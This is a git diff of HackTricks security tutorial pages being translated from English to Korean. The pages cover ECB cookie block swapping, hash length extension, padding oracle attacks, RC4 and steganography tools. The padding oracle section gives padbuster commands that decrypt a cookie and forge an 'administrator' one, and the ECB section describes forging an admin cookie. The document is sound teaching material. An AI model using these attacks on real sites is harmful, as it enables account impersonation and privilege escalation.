We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
우리는 이전에 `a`만 포함된 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`를 볼 수 있습니다.\
그런 다음, 8B의 첫 번째 블록을 제거하면 사용자 이름 `admin`에 대한 유효한 쿠키를 얻을 수 있습니다:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Moving blocks
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
많은 데이터베이스에서 `WHERE username='admin';`을 검색하는 것과 `WHERE username='admin ';`을 검색하는 것은 동일합니다. _(여분의 공백에 주의하세요)_
So, another way to impersonate the user `admin` would be to:
따라서, 사용자 `admin`을 가장하는 또 다른 방법은 다음과 같습니다:
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
- `len(<username>) + len(<delimiter) % len(block)`인 사용자 이름을 생성합니다. 블록 크기가 `8B`인 경우, `username `이라는 사용자 이름을 생성할 수 있으며, 구분 기호 `|`를 사용하면 청크 `<username><delimiter>`가 2개의 8B 블록을 생성합니다.
- 그런 다음, 우리가 가장하고자 하는 사용자 이름과 공백을 포함하는 정확한 블록 수를 채우는 비밀번호를 생성합니다: `admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 첫 번째 2개는 사용자 이름 + 구분 기호의 블록이고, 세 번째는 비밀번호(사용자 이름을 가장하는 것)입니다: `username |admin `
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
**그런 다음, 첫 번째 블록을 마지막으로 교체하면 사용자 `admin`을 가장하게 됩니다: `admin |username`**
## References

View File

@ -1,18 +1,16 @@
# Esoteric languages
# 에소테릭 언어
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
더 많은 에소테릭 언어를 검색하려면 해당 위키를 확인하세요.
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Hash Length Extension Attack
# 해시 길이 확장 공격
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## 공격 요약
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수 있음)
- **명확한 텍스트 데이터**
- **알고리즘 (이 공격에 취약함)**
- **패딩이 알려져 있음**
- 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
- 패딩은 비밀+데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
### How?
### 어떻게?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- 64개의 "A"로 MD5 생성
- 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
- "append" 문자열 추가
- 해시를 완료하면 결과 해시는 **"secret" + "data" + "padding" + "append"**에 대한 유효한 해시가 됩니다.
### **Tool**
### **도구**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### 참고문헌
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,27 +1,25 @@
# Padding Oracle
# 패딩 오라클
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - 암호 블록 체인
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
CBC 모드에서는 **이전 암호화 블록이 IV로 사용되어** 다음 블록과 XOR 연산을 수행합니다:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
CBC를 복호화하려면 **반대** **작업**을 수행합니다:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
**암호화** **키**와 **IV**를 사용하는 것이 필요함을 주목하세요.
## Message Padding
## 메시지 패딩
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
암호화가 **고정** **크기** **블록**으로 수행되기 때문에, **마지막** **블록**의 길이를 완성하기 위해 **패딩**이 일반적으로 필요합니다.\
보통 **PKCS7**이 사용되며, 이는 블록을 완성하는 데 필요한 **바이트** **수**를 **반복**하여 패딩을 생성합니다. 예를 들어, 마지막 블록이 3 바이트가 부족하면 패딩은 `\x03\x03\x03`이 됩니다.
Let's look at more examples with a **2 blocks of length 8bytes**:
**8바이트 길이의 2 블록**에 대한 더 많은 예를 살펴보겠습니다:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
마지막 예에서 **마지막 블록이 가득 차 있었기 때문에 패딩만으로 생성된 또 다른 블록이 생성되었다는 점에 주목하세요**.
## Padding Oracle
## 패딩 오라클
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
애플리케이션이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 후 패딩을 제거합니다. 패딩 정리 중에 **잘못된 패딩이 감지 가능한 동작을 유발하면**, **패딩 오라클 취약점**이 발생합니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **느린 응답**일 수 있습니다.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **어떤 평문도 암호화**할 수 있습니다.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
### 어떻게 악용할 것인가
이러한 종류의 취약점을 악용하기 위해 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용할 수 있거나 그냥 할 수 있습니다.
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0**는 **base64**가 사용된다는 것을 의미합니다(하지만 다른 인코딩도 사용 가능하니 도움말 메뉴를 확인하세요).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
이 취약점을 **악용하여 새로운 데이터를 암호화할 수도 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"이라고 가정하면, 이를 "\_user=administrator\_"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. `paduster`를 사용하여 -plaintext** 매개변수를 지정하여 이를 수행할 수도 있습니다:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
사이트가 취약한 경우 `padbuster`는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### 이론
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 끝에서 시작으로 바이트를 복호화하기 시작하며, **1, 2, 3 등의 패딩을 생성하는 올바른 값**이 무엇인지 추측합니다.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\
**마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\
마지막으로, 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
이제 **`C15``0x01`이 되도록 `E7`을 수정할 수 있습니다.** 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
이로 인해 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
**C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14``0x02`가 되도록 하는 `E'14`**를 찾기만 하면 됩니다.\
그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.**
### Detection of the vulnerability
### 취약점 탐지
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
계정을 등록하고 이 계정으로 로그인하십시오.\
**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성이 높습니다.** **전송된 쿠키는 매번 고유해야 합니다.** 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다.**
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\
하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에게 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 매우 높습니다.
### References
### 참고 문헌
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호를 사용하여 암호화 함수만으로 해당 RC4로 암호화된 모든 콘텐츠를 복호화할 수 있습니다.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
## **파일에서 데이터 추출하기**
### **Binwalk**
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
임베디드 숨겨진 파일과 데이터를 찾기 위한 바이너리 파일 검색 도구입니다. `apt`를 통해 설치되며, 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에서 확인할 수 있습니다.
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
헤더와 푸터를 기반으로 파일을 복구하며, png 이미지에 유용합니다. `apt`를 통해 설치되며, 소스는 [GitHub](https://github.com/korczis/foremost)에 있습니다.
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
파일 메타데이터를 보기 위해 사용되며, [여기](https://www.sno.phy.queensu.ca/~phil/exiftool/)에서 사용할 수 있습니다.
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
exiftool과 유사하게 메타데이터를 보기 위한 도구입니다. `apt`를 통해 설치할 수 있으며, 소스는 [GitHub](https://github.com/Exiv2/exiv2)에서 확인할 수 있고, [공식 웹사이트](http://www.exiv2.org/)도 있습니다.
```bash
exiv2 file # Shows the metadata
```
### **파일**
### **File**
다루고 있는 파일의 유형을 식별합니다.
Identify the type of file you're dealing with.
### **Strings**
Extracts readable strings from files, using various encoding settings to filter the output.
### **문자열**
출력을 필터링하기 위해 다양한 인코딩 설정을 사용하여 파일에서 읽을 수 있는 문자열을 추출합니다.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -57,74 +48,65 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **비교 (cmp)**
### **Comparison (cmp)**
Useful for comparing a modified file with its original version found online.
온라인에서 찾은 원본 버전과 수정된 파일을 비교하는 데 유용합니다.
```bash
cmp original.jpg stego.jpg -b -l
```
## **텍스트에서 숨겨진 데이터 추출하기**
## **Extracting Hidden Data in Text**
### **공간에서 숨겨진 데이터**
### **Hidden Data in Spaces**
겉보기에는 비어 있는 공간의 보이지 않는 문자들이 정보를 숨길 수 있습니다. 이 데이터를 추출하려면 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) 를 방문하세요.
Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **이미지에서 데이터 추출하기**
## **Extracting Data from Images**
### **Identifying Image Details with GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
### **GraphicMagick로 이미지 세부정보 식별하기**
[GraphicMagick](https://imagemagick.org/script/download.php) 는 이미지 파일 유형을 결정하고 잠재적인 손상을 식별하는 데 사용됩니다. 이미지를 검사하려면 아래 명령을 실행하세요:
```bash
./magick identify -verbose stego.jpg
```
To attempt repair on a damaged image, adding a metadata comment might help:
손상된 이미지를 복구하려고 할 때, 메타데이터 주석을 추가하는 것이 도움이 될 수 있습니다:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide를 통한 데이터 은닉**
### **Steghide for Data Concealment**
Steghide는 `JPEG, BMP, WAV, AU` 파일 내에 데이터를 숨기는 기능을 제공하며, 암호화된 데이터를 삽입하고 추출할 수 있습니다. 설치는 `apt`를 사용하여 간단하게 할 수 있으며, [소스 코드는 GitHub에서 확인할 수 있습니다](https://github.com/StefanoDeVuono/steghide).
Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
**명령어:**
**Commands:**
- `steghide info file`은 파일에 숨겨진 데이터가 있는지 확인합니다.
- `steghide extract -sf file [--passphrase password]`는 숨겨진 데이터를 추출하며, 비밀번호는 선택 사항입니다.
- `steghide info file` reveals if a file contains hidden data.
- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
웹 기반 추출을 원하시면 [이 웹사이트를 방문하세요](https://futureboy.us/stegano/decinput.html).
For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
**Bruteforce Attack with Stegcracker:**
- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
**Stegcracker를 이용한 무차별 대입 공격:**
- Steghide의 비밀번호 크래킹을 시도하려면 [stegcracker](https://github.com/Paradoxis/StegCracker.git)를 다음과 같이 사용하세요:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg for PNG and BMP Files**
zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
zsteg는 PNG 및 BMP 파일에서 숨겨진 데이터를 발견하는 데 특화되어 있습니다. 설치는 `gem install zsteg`를 통해 이루어지며, [GitHub에서 소스](https://github.com/zed-0xff/zsteg)를 확인할 수 있습니다.
**Commands:**
- `zsteg -a file` applies all detection methods on a file.
- `zsteg -E file` specifies a payload for data extraction.
- `zsteg -a file`는 파일에 모든 탐지 방법을 적용합니다.
- `zsteg -E file`는 데이터 추출을 위한 페이로드를 지정합니다.
### **StegoVeritas and Stegsolve**
**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
**stegoVeritas**는 메타데이터를 확인하고, 이미지 변환을 수행하며, LSB 무차별 대입 공격을 적용하는 등 다양한 기능을 제공합니다. 전체 옵션 목록은 `stegoveritas.py -h`를 사용하고, 모든 검사를 실행하려면 `stegoveritas.py stego.jpg`를 사용하세요.
**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve**는 이미지를 통해 숨겨진 텍스트나 메시지를 드러내기 위해 다양한 색상 필터를 적용합니다. [GitHub에서](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) 사용할 수 있습니다.
### **FFT for Hidden Content Detection**
Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
Fast Fourier Transform (FFT) 기술은 이미지에서 숨겨진 콘텐츠를 드러낼 수 있습니다. 유용한 리소스는 다음과 같습니다:
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
@ -132,20 +114,18 @@ Fast Fourier Transform (FFT) techniques can unveil concealed content in images.
### **Stegpy for Audio and Image Files**
Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy는 PNG, BMP, GIF, WebP 및 WAV와 같은 형식을 지원하여 이미지 및 오디오 파일에 정보를 삽입할 수 있습니다. [GitHub에서](https://github.com/dhsdshdhk/stegpy) 사용할 수 있습니다.
### **Pngcheck for PNG File Analysis**
To analyze PNG files or to validate their authenticity, use:
PNG 파일을 분석하거나 그 진위를 확인하려면:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **이미지 분석을 위한 추가 도구**
### **Additional Tools for Image Analysis**
For further exploration, consider visiting:
더 많은 탐색을 원하신다면 다음을 방문해 보세요:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
## **Extracting Data from Audios**
## **오디오에서 데이터 추출하기**
**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
**오디오 스테가노그래피**는 사운드 파일 내에 정보를 숨기는 독특한 방법을 제공합니다. 숨겨진 콘텐츠를 삽입하거나 검색하기 위해 다양한 도구가 사용됩니다.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
Steghide는 JPEG, BMP, WAV 및 AU 파일에 데이터를 숨기기 위해 설계된 다목적 도구입니다. 자세한 지침은 [stego tricks documentation](stego-tricks.md#steghide)에서 확인할 수 있습니다.
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
이 도구는 PNG, BMP, GIF, WebP 및 WAV를 포함한 다양한 형식과 호환됩니다. 더 많은 정보는 [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)을 참조하세요.
### **ffmpeg**
ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
ffmpeg는 오디오 파일의 무결성을 평가하는 데 중요하며, 자세한 정보를 강조하고 불일치를 정확히 지적합니다.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
WavSteg는 최소 유의 비트 전략을 사용하여 WAV 파일 내에서 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 사용할 수 있습니다. 명령어는 다음과 같습니다:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
Deepsound는 AES-256을 사용하여 사운드 파일 내의 정보를 암호화하고 감지할 수 있습니다. [공식 페이지](http://jpinsoft.net/deepsound/download.aspx)에서 다운로드할 수 있습니다.
### **Sonic Visualizer**
An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
Sonic Visualizer는 오디오 파일의 시각적 및 분석적 검사를 위한 귀중한 도구로, 다른 방법으로는 감지할 수 없는 숨겨진 요소를 드러낼 수 있습니다. 더 많은 정보는 [공식 웹사이트](https://www.sonicvisualiser.org/)를 방문하세요.
### **DTMF Tones - Dial Tones**
Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
오디오 파일에서 DTMF 톤을 감지하는 것은 [이 DTMF 감지기](https://unframework.github.io/dtmf-detect/)와 [DialABC](http://dialabc.com/sound/detect/index.html)와 같은 온라인 도구를 통해 가능합니다.
## **Other Techniques**
### **Binary Length SQRT - QR Code**
Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
정수로 제곱되는 이진 데이터는 QR 코드를 나타낼 수 있습니다. 확인하려면 이 코드를 사용하세요:
```python
import math
math.sqrt(2500) #50
```
이진수를 이미지로 변환하려면 [dcode](https://www.dcode.fr/binary-image)를 확인하세요. QR 코드를 읽으려면 [이 온라인 바코드 리더](https://online-barcode-reader.inliteresearch.com/)를 사용하세요.
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
### **점자 번역**
### **Braille Translation**
점자를 번역하기 위해 [Branah Braille Translator](https://www.branah.com/braille-translator)는 훌륭한 자원입니다.
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
## **References**
## **참고문헌**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)

View File

@ -2,46 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
